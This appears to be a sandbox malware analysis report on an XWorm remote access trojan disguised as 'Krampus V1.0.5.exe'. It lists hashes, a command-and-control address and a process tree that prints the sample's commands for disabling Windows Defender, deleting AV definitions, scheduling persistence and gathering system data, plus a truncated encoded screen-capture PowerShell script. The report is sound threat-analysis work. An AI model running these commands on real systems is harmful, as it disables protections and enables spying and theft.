xworm | a98d837ed01480f717df0d2f47021b757b8093469134f321cbd1e1a4c6fb8f5c

Analysis

max time kernel
147s
max time network
147s
platform
windows10-1703_x64
resource
win10-20240404-en
resource tags

arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system
submitted
20-04-2024 12:55

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

Krampus V1.0.5.exe
Size

7.4MB
MD5

6cfc075819c99a2c6515729392b9ba02
SHA1

c6224ff71c43b6ae461d9ad870da5002a4e8bd5e
SHA256

a98d837ed01480f717df0d2f47021b757b8093469134f321cbd1e1a4c6fb8f5c
SHA512

7ee09e6c429f010a2e74170dcc0bc7c984fb436cbdf8eedba5c48eb8b82f68338aad9e5293b93438b191afd0d22277db0befb2f0c9d8392365bebeea209b53b6
SSDEEP

98304:NSc0SbSMt+dnz8JjHWxJHRLIHzcrmpliRYOeTjcIJ1IlhlWu8hK87N7Ceg6H08Bi:gMt+dnIdHWxdKHoYOeXRihlWu8YgoP/

Score

10^/10

xworm evasion persistence rat spyware stealer trojan upx

Malware Config

Extracted

Family

xworm

yet-musicians.gl.at.ply.gg:27619

Attributes

Install_directory
%Userprofile%
install_file
discord.exe

Signatures

Deletes Windows Defender Definitions 2 TTPs 1 IoCs
Uses mpcmdrun utility to delete all AV definitions.
evasion

Impair Defenses
T1562

Command and Scripting Interpreter
T1059

Processes:

MpCmdRun.exe

pid process

3204 MpCmdRun.exe

pid	process
3204	MpCmdRun.exe

Detect Xworm Payload 1 IoCs

Processes:

resource	yara_rule
C:\Windows\System32\test.exe	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm

Drops file in Drivers directory 3 IoCs

Processes:

attrib.exeBuilt.exeattrib.exe

description	ioc	process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	attrib.exe
File opened for modification	C:\Windows\System32\drivers\etc\hosts	Built.exe
File opened for modification	C:\Windows\System32\drivers\etc\hosts	attrib.exe

Drops startup file 2 IoCs

Processes:

test.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\discord.lnk	test.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\discord.lnk	test.exe

Executes dropped EXE 6 IoCs

Processes:

Built.exeBuilt.exetest.exerar.exediscord.exediscord.exe

pid process

1520 Built.exe
3396 Built.exe
4908 test.exe
428 rar.exe
4892 discord.exe
4152 discord.exe

pid	process
1520	Built.exe
3396	Built.exe
4908	test.exe
428	rar.exe
4892	discord.exe
4152	discord.exe

Loads dropped DLL 17 IoCs

Processes:

Built.exe

pid	process
3396	Built.exe
3396	Built.exe
3396	Built.exe
3396	Built.exe
3396	Built.exe
3396	Built.exe
3396	Built.exe
3396	Built.exe
3396	Built.exe
3396	Built.exe
3396	Built.exe
3396	Built.exe
3396	Built.exe
3396	Built.exe
3396	Built.exe
3396	Built.exe
3396	Built.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

UPX packed file 43 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\_MEI15202\python311.dll	upx
behavioral1/memory/3396-151-0x00007FF91B150000-0x00007FF91B740000-memory.dmp	upx
\Users\Admin\AppData\Local\Temp\_MEI15202\_ctypes.pyd	upx
C:\Users\Admin\AppData\Local\Temp\_MEI15202\libffi-8.dll	upx
behavioral1/memory/3396-159-0x00007FF9305F0000-0x00007FF930614000-memory.dmp	upx
C:\Users\Admin\AppData\Local\Temp\_MEI15202\_ssl.pyd	upx
behavioral1/memory/3396-177-0x00007FF933800000-0x00007FF93380F000-memory.dmp	upx
C:\Users\Admin\AppData\Local\Temp\_MEI15202\_sqlite3.pyd	upx
C:\Users\Admin\AppData\Local\Temp\_MEI15202\_socket.pyd	upx
C:\Users\Admin\AppData\Local\Temp\_MEI15202\_queue.pyd	upx
C:\Users\Admin\AppData\Local\Temp\_MEI15202\_lzma.pyd	upx
C:\Users\Admin\AppData\Local\Temp\_MEI15202\_hashlib.pyd	upx
C:\Users\Admin\AppData\Local\Temp\_MEI15202\_decimal.pyd	upx
C:\Users\Admin\AppData\Local\Temp\_MEI15202\_bz2.pyd	upx
C:\Users\Admin\AppData\Local\Temp\_MEI15202\unicodedata.pyd	upx
C:\Users\Admin\AppData\Local\Temp\_MEI15202\sqlite3.dll	upx
C:\Users\Admin\AppData\Local\Temp\_MEI15202\select.pyd	upx
C:\Users\Admin\AppData\Local\Temp\_MEI15202\libssl-3.dll	upx
C:\Users\Admin\AppData\Local\Temp\_MEI15202\libcrypto-3.dll	upx
behavioral1/memory/3396-183-0x00007FF92FBF0000-0x00007FF92FC1D000-memory.dmp	upx
behavioral1/memory/3396-185-0x00007FF92D970000-0x00007FF92D989000-memory.dmp	upx
behavioral1/memory/3396-190-0x00007FF92D850000-0x00007FF92D873000-memory.dmp	upx
behavioral1/memory/3396-189-0x00007FF918430000-0x00007FF9185A6000-memory.dmp	upx
behavioral1/memory/3396-197-0x00007FF92D830000-0x00007FF92D849000-memory.dmp	upx
behavioral1/memory/3396-199-0x00007FF930A70000-0x00007FF930A7D000-memory.dmp	upx
behavioral1/memory/3396-200-0x00007FF92D200000-0x00007FF92D233000-memory.dmp	upx
behavioral1/memory/3396-203-0x00007FF918360000-0x00007FF91842D000-memory.dmp	upx
behavioral1/memory/3396-205-0x00007FF917480000-0x00007FF9179A9000-memory.dmp	upx
behavioral1/memory/3396-220-0x00007FF918160000-0x00007FF91827C000-memory.dmp	upx
behavioral1/memory/3396-222-0x00007FF92D150000-0x00007FF92D164000-memory.dmp	upx
behavioral1/memory/3396-225-0x00007FF92FBE0000-0x00007FF92FBED000-memory.dmp	upx
behavioral1/memory/3396-239-0x00007FF91B150000-0x00007FF91B740000-memory.dmp	upx
behavioral1/memory/3396-242-0x00007FF9305F0000-0x00007FF930614000-memory.dmp	upx
behavioral1/memory/3396-276-0x00007FF918430000-0x00007FF9185A6000-memory.dmp	upx
behavioral1/memory/3396-314-0x00007FF92D850000-0x00007FF92D873000-memory.dmp	upx
behavioral1/memory/3396-327-0x00007FF92D830000-0x00007FF92D849000-memory.dmp	upx
behavioral1/memory/3396-644-0x00007FF91B150000-0x00007FF91B740000-memory.dmp	upx
behavioral1/memory/3396-651-0x00007FF918430000-0x00007FF9185A6000-memory.dmp	upx
behavioral1/memory/3396-646-0x00007FF9305F0000-0x00007FF930614000-memory.dmp	upx
behavioral1/memory/3396-654-0x00007FF92D200000-0x00007FF92D233000-memory.dmp	upx
behavioral1/memory/3396-655-0x00007FF918360000-0x00007FF91842D000-memory.dmp	upx
behavioral1/memory/3396-656-0x00007FF917480000-0x00007FF9179A9000-memory.dmp	upx
behavioral1/memory/3396-979-0x00007FF91B150000-0x00007FF91B740000-memory.dmp	upx

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 4 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

Krampus V1.0.5.exetest.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-3699363923-1875576828-3287151903-1000\Software\Microsoft\Windows\CurrentVersion\Run\test = "C:\\Windows\\System32\\test.bat"	Krampus V1.0.5.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3699363923-1875576828-3287151903-1000\Software\Microsoft\Windows\CurrentVersion\Run\Built = "C:\\Windows\\System32\\Built.exe"	Krampus V1.0.5.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3699363923-1875576828-3287151903-1000\Software\Microsoft\Windows\CurrentVersion\Run\test = "C:\\Windows\\System32\\test.exe"	Krampus V1.0.5.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3699363923-1875576828-3287151903-1000\Software\Microsoft\Windows\CurrentVersion\Run\discord = "C:\\Users\\Admin\\discord.exe"	test.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service
T1102

Processes:

flow ioc

12 discord.com
13 discord.com
Looks up external IP address via web service 3 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

8 ip-api.com
10 ip-api.com
1 ip-api.com

flow	ioc
12	discord.com
13	discord.com

flow	ioc
8	ip-api.com
10	ip-api.com
1	ip-api.com

Drops file in System32 directory 6 IoCs

Processes:

Krampus V1.0.5.exe

description	ioc	process
File opened for modification	C:\Windows\System32\test.exe	Krampus V1.0.5.exe
File created	C:\Windows\System32\test.bat	Krampus V1.0.5.exe
File opened for modification	C:\Windows\System32\test.bat	Krampus V1.0.5.exe
File created	C:\Windows\System32\Built.exe	Krampus V1.0.5.exe
File opened for modification	C:\Windows\System32\Built.exe	Krampus V1.0.5.exe
File created	C:\Windows\System32\test.exe	Krampus V1.0.5.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Creates scheduled task(s) 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task/Job
T1053

Processes:

schtasks.exeschtasks.exeschtasks.exe

pid process

1708 schtasks.exe
524 schtasks.exe
3172 schtasks.exe
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.

System Information Discovery
T1082

Processes:

WMIC.exe

pid process

3204 WMIC.exe
Enumerates processes with tasklist 1 TTPs 3 IoCs

Process Discovery
T1057

Processes:

tasklist.exetasklist.exetasklist.exe

pid process

1844 tasklist.exe
3724 tasklist.exe
216 tasklist.exe
Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.

System Information Discovery
T1082

Processes:

systeminfo.exe

pid process

3088 systeminfo.exe

pid	process
1708	schtasks.exe
524	schtasks.exe
3172	schtasks.exe

pid	process
3204	WMIC.exe

pid	process
1844	tasklist.exe
3724	tasklist.exe
216	tasklist.exe

pid	process
3088	systeminfo.exe

Suspicious behavior: EnumeratesProcesses 54 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exetest.exe

pid	process
4632	powershell.exe
4632	powershell.exe
4632	powershell.exe
4268	powershell.exe
4268	powershell.exe
4268	powershell.exe
3548	powershell.exe
3548	powershell.exe
3548	powershell.exe
4468	powershell.exe
4468	powershell.exe
204	powershell.exe
204	powershell.exe
4464	powershell.exe
4464	powershell.exe
4468	powershell.exe
4464	powershell.exe
204	powershell.exe
4468	powershell.exe
204	powershell.exe
4464	powershell.exe
1964	powershell.exe
1964	powershell.exe
4840	powershell.exe
4840	powershell.exe
1964	powershell.exe
4840	powershell.exe
1964	powershell.exe
4840	powershell.exe
4140	powershell.exe
4140	powershell.exe
4140	powershell.exe
4932	powershell.exe
4932	powershell.exe
4932	powershell.exe
4152	powershell.exe
4152	powershell.exe
4152	powershell.exe
2228	powershell.exe
2228	powershell.exe
2228	powershell.exe
4036	powershell.exe
4036	powershell.exe
4036	powershell.exe
1920	powershell.exe
1920	powershell.exe
1920	powershell.exe
492	powershell.exe
492	powershell.exe
492	powershell.exe
2232	powershell.exe
2232	powershell.exe
2232	powershell.exe
4908	test.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

Krampus V1.0.5.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

description	pid	process
Token: SeDebugPrivilege	1888	Krampus V1.0.5.exe
Token: SeDebugPrivilege	4632	powershell.exe
Token: SeIncreaseQuotaPrivilege	4632	powershell.exe
Token: SeSecurityPrivilege	4632	powershell.exe
Token: SeTakeOwnershipPrivilege	4632	powershell.exe
Token: SeLoadDriverPrivilege	4632	powershell.exe
Token: SeSystemProfilePrivilege	4632	powershell.exe
Token: SeSystemtimePrivilege	4632	powershell.exe
Token: SeProfSingleProcessPrivilege	4632	powershell.exe
Token: SeIncBasePriorityPrivilege	4632	powershell.exe
Token: SeCreatePagefilePrivilege	4632	powershell.exe
Token: SeBackupPrivilege	4632	powershell.exe
Token: SeRestorePrivilege	4632	powershell.exe
Token: SeShutdownPrivilege	4632	powershell.exe
Token: SeDebugPrivilege	4632	powershell.exe
Token: SeSystemEnvironmentPrivilege	4632	powershell.exe
Token: SeRemoteShutdownPrivilege	4632	powershell.exe
Token: SeUndockPrivilege	4632	powershell.exe
Token: SeManageVolumePrivilege	4632	powershell.exe
Token: 33	4632	powershell.exe
Token: 34	4632	powershell.exe
Token: 35	4632	powershell.exe
Token: 36	4632	powershell.exe
Token: SeDebugPrivilege	4268	powershell.exe
Token: SeIncreaseQuotaPrivilege	4268	powershell.exe
Token: SeSecurityPrivilege	4268	powershell.exe
Token: SeTakeOwnershipPrivilege	4268	powershell.exe
Token: SeLoadDriverPrivilege	4268	powershell.exe
Token: SeSystemProfilePrivilege	4268	powershell.exe
Token: SeSystemtimePrivilege	4268	powershell.exe
Token: SeProfSingleProcessPrivilege	4268	powershell.exe
Token: SeIncBasePriorityPrivilege	4268	powershell.exe
Token: SeCreatePagefilePrivilege	4268	powershell.exe
Token: SeBackupPrivilege	4268	powershell.exe
Token: SeRestorePrivilege	4268	powershell.exe
Token: SeShutdownPrivilege	4268	powershell.exe
Token: SeDebugPrivilege	4268	powershell.exe
Token: SeSystemEnvironmentPrivilege	4268	powershell.exe
Token: SeRemoteShutdownPrivilege	4268	powershell.exe
Token: SeUndockPrivilege	4268	powershell.exe
Token: SeManageVolumePrivilege	4268	powershell.exe
Token: 33	4268	powershell.exe
Token: 34	4268	powershell.exe
Token: 35	4268	powershell.exe
Token: 36	4268	powershell.exe
Token: SeDebugPrivilege	3548	powershell.exe
Token: SeDebugPrivilege	4468	powershell.exe
Token: SeDebugPrivilege	204	powershell.exe
Token: SeDebugPrivilege	4464	powershell.exe
Token: SeIncreaseQuotaPrivilege	3548	powershell.exe
Token: SeSecurityPrivilege	3548	powershell.exe
Token: SeTakeOwnershipPrivilege	3548	powershell.exe
Token: SeLoadDriverPrivilege	3548	powershell.exe
Token: SeSystemProfilePrivilege	3548	powershell.exe
Token: SeSystemtimePrivilege	3548	powershell.exe
Token: SeProfSingleProcessPrivilege	3548	powershell.exe
Token: SeIncBasePriorityPrivilege	3548	powershell.exe
Token: SeCreatePagefilePrivilege	3548	powershell.exe
Token: SeBackupPrivilege	3548	powershell.exe
Token: SeRestorePrivilege	3548	powershell.exe
Token: SeShutdownPrivilege	3548	powershell.exe
Token: SeDebugPrivilege	3548	powershell.exe
Token: SeSystemEnvironmentPrivilege	3548	powershell.exe
Token: SeRemoteShutdownPrivilege	3548	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

test.exe

pid process

4908 test.exe

pid	process
4908	test.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

Krampus V1.0.5.exeBuilt.exeBuilt.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.exe

description	pid	process	target process
PID 1888 wrote to memory of 4632	1888	Krampus V1.0.5.exe	powershell.exe
PID 1888 wrote to memory of 4632	1888	Krampus V1.0.5.exe	powershell.exe
PID 1888 wrote to memory of 1476	1888	Krampus V1.0.5.exe	cmd.exe
PID 1888 wrote to memory of 1476	1888	Krampus V1.0.5.exe	cmd.exe
PID 1888 wrote to memory of 4268	1888	Krampus V1.0.5.exe	powershell.exe
PID 1888 wrote to memory of 4268	1888	Krampus V1.0.5.exe	powershell.exe
PID 1888 wrote to memory of 524	1888	Krampus V1.0.5.exe	Conhost.exe
PID 1888 wrote to memory of 524	1888	Krampus V1.0.5.exe	Conhost.exe
PID 1888 wrote to memory of 1520	1888	Krampus V1.0.5.exe	Built.exe
PID 1888 wrote to memory of 1520	1888	Krampus V1.0.5.exe	Built.exe
PID 1888 wrote to memory of 3548	1888	Krampus V1.0.5.exe	powershell.exe
PID 1888 wrote to memory of 3548	1888	Krampus V1.0.5.exe	powershell.exe
PID 1520 wrote to memory of 3396	1520	Built.exe	Built.exe
PID 1520 wrote to memory of 3396	1520	Built.exe	Built.exe
PID 3396 wrote to memory of 2508	3396	Built.exe	cmd.exe
PID 3396 wrote to memory of 2508	3396	Built.exe	cmd.exe
PID 3396 wrote to memory of 4492	3396	Built.exe	cmd.exe
PID 3396 wrote to memory of 4492	3396	Built.exe	cmd.exe
PID 3396 wrote to memory of 3408	3396	Built.exe	cmd.exe
PID 3396 wrote to memory of 3408	3396	Built.exe	cmd.exe
PID 4492 wrote to memory of 204	4492	cmd.exe	powershell.exe
PID 4492 wrote to memory of 204	4492	cmd.exe	powershell.exe
PID 2508 wrote to memory of 4468	2508	cmd.exe	powershell.exe
PID 2508 wrote to memory of 4468	2508	cmd.exe	powershell.exe
PID 3408 wrote to memory of 4464	3408	cmd.exe	powershell.exe
PID 3408 wrote to memory of 4464	3408	cmd.exe	powershell.exe
PID 3396 wrote to memory of 4188	3396	Built.exe	cmd.exe
PID 3396 wrote to memory of 4188	3396	Built.exe	cmd.exe
PID 3396 wrote to memory of 2640	3396	Built.exe	cmd.exe
PID 3396 wrote to memory of 2640	3396	Built.exe	cmd.exe
PID 3396 wrote to memory of 3908	3396	Built.exe	cmd.exe
PID 3396 wrote to memory of 3908	3396	Built.exe	cmd.exe
PID 4188 wrote to memory of 1844	4188	cmd.exe	tasklist.exe
PID 4188 wrote to memory of 1844	4188	cmd.exe	tasklist.exe
PID 3396 wrote to memory of 4864	3396	Built.exe	cmd.exe
PID 3396 wrote to memory of 4864	3396	Built.exe	cmd.exe
PID 3396 wrote to memory of 4164	3396	Built.exe	cmd.exe
PID 3396 wrote to memory of 4164	3396	Built.exe	cmd.exe
PID 3396 wrote to memory of 1388	3396	Built.exe	cmd.exe
PID 3396 wrote to memory of 1388	3396	Built.exe	cmd.exe
PID 3396 wrote to memory of 4740	3396	Built.exe	cmd.exe
PID 3396 wrote to memory of 4740	3396	Built.exe	cmd.exe
PID 3396 wrote to memory of 4140	3396	Built.exe	powershell.exe
PID 3396 wrote to memory of 4140	3396	Built.exe	powershell.exe
PID 3396 wrote to memory of 1780	3396	Built.exe	cmd.exe
PID 3396 wrote to memory of 1780	3396	Built.exe	cmd.exe
PID 4164 wrote to memory of 2860	4164	cmd.exe	tree.com
PID 4164 wrote to memory of 2860	4164	cmd.exe	tree.com
PID 2640 wrote to memory of 4536	2640	cmd.exe	WMIC.exe
PID 2640 wrote to memory of 4536	2640	cmd.exe	WMIC.exe
PID 3908 wrote to memory of 1964	3908	cmd.exe	powershell.exe
PID 3908 wrote to memory of 1964	3908	cmd.exe	powershell.exe
PID 4864 wrote to memory of 3724	4864	cmd.exe	tasklist.exe
PID 4864 wrote to memory of 3724	4864	cmd.exe	tasklist.exe
PID 1780 wrote to memory of 4840	1780	cmd.exe	powershell.exe
PID 1780 wrote to memory of 4840	1780	cmd.exe	powershell.exe
PID 3396 wrote to memory of 884	3396	Built.exe	cmd.exe
PID 3396 wrote to memory of 884	3396	Built.exe	cmd.exe
PID 1388 wrote to memory of 2216	1388	cmd.exe	netsh.exe
PID 1388 wrote to memory of 2216	1388	cmd.exe	netsh.exe
PID 4740 wrote to memory of 3088	4740	cmd.exe	systeminfo.exe
PID 4740 wrote to memory of 3088	4740	cmd.exe	systeminfo.exe
PID 4140 wrote to memory of 4252	4140	cmd.exe	reg.exe
PID 4140 wrote to memory of 4252	4140	cmd.exe	reg.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Views/modifies file attributes 1 TTPs 2 IoCs
evasion

Hidden Files and Directories
T1564.001

Processes:

attrib.exeattrib.exe

pid process

704 attrib.exe
4268 attrib.exe

pid	process
704	attrib.exe
4268	attrib.exe

C:\Users\Admin\AppData\Local\Temp\Krampus V1.0.5.exe
"C:\Users\Admin\AppData\Local\Temp\Krampus V1.0.5.exe"
1⤵
- Adds Run key to start application
- Drops file in System32 directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1888

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\System32\test.bat'
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4632

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Windows\System32\test.bat" "
2⤵
PID:1476

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\System32\Built.exe'
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4268

C:\Windows\System32\schtasks.exe
"C:\Windows\System32\schtasks.exe" /Create /F /TN "Built" /SC ONLOGON /TR "C:\Windows\System32\Built.exe" /RL HIGHEST
2⤵
- Creates scheduled task(s)
PID:524

C:\Windows\System32\Built.exe
"C:\Windows\System32\Built.exe"
2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:1520

C:\Windows\System32\Built.exe
"C:\Windows\System32\Built.exe"
3⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:3396

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Windows\System32\Built.exe'"
4⤵
- Suspicious use of WriteProcessMemory
PID:2508

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -Command Add-MpPreference -ExclusionPath 'C:\Windows\System32\Built.exe'
5⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4468

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
4⤵
- Suspicious use of WriteProcessMemory
PID:4492

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
5⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:204

C:\Program Files\Windows Defender\MpCmdRun.exe
"C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
5⤵
- Deletes Windows Defender Definitions
PID:3204

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\   .scr'"
4⤵
- Suspicious use of WriteProcessMemory
PID:3408

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\   .scr'
5⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4464

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
4⤵
- Suspicious use of WriteProcessMemory
PID:4188

C:\Windows\system32\tasklist.exe
tasklist /FO LIST
5⤵
- Enumerates processes with tasklist
PID:1844

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
4⤵
- Suspicious use of WriteProcessMemory
PID:2640

C:\Windows\System32\Wbem\WMIC.exe
WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
5⤵
PID:4536

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
4⤵
- Suspicious use of WriteProcessMemory
PID:3908

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Get-Clipboard
5⤵
- Suspicious behavior: EnumeratesProcesses
PID:1964

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
4⤵
- Suspicious use of WriteProcessMemory
PID:4864

C:\Windows\system32\tasklist.exe
tasklist /FO LIST
5⤵
- Enumerates processes with tasklist
PID:3724

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "tree /A /F"
4⤵
- Suspicious use of WriteProcessMemory
PID:4164

C:\Windows\system32\tree.com
tree /A /F
5⤵
PID:2860

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
4⤵
- Suspicious use of WriteProcessMemory
PID:1388

C:\Windows\system32\netsh.exe
netsh wlan show profile
5⤵
PID:2216

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "systeminfo"
4⤵
- Suspicious use of WriteProcessMemory
PID:4740

C:\Windows\system32\systeminfo.exe
systeminfo
5⤵
- Gathers system information
PID:3088

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath"
4⤵
- Suspicious use of WriteProcessMemory
PID:4140

C:\Windows\system32\reg.exe
REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath
5⤵
PID:4252

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAb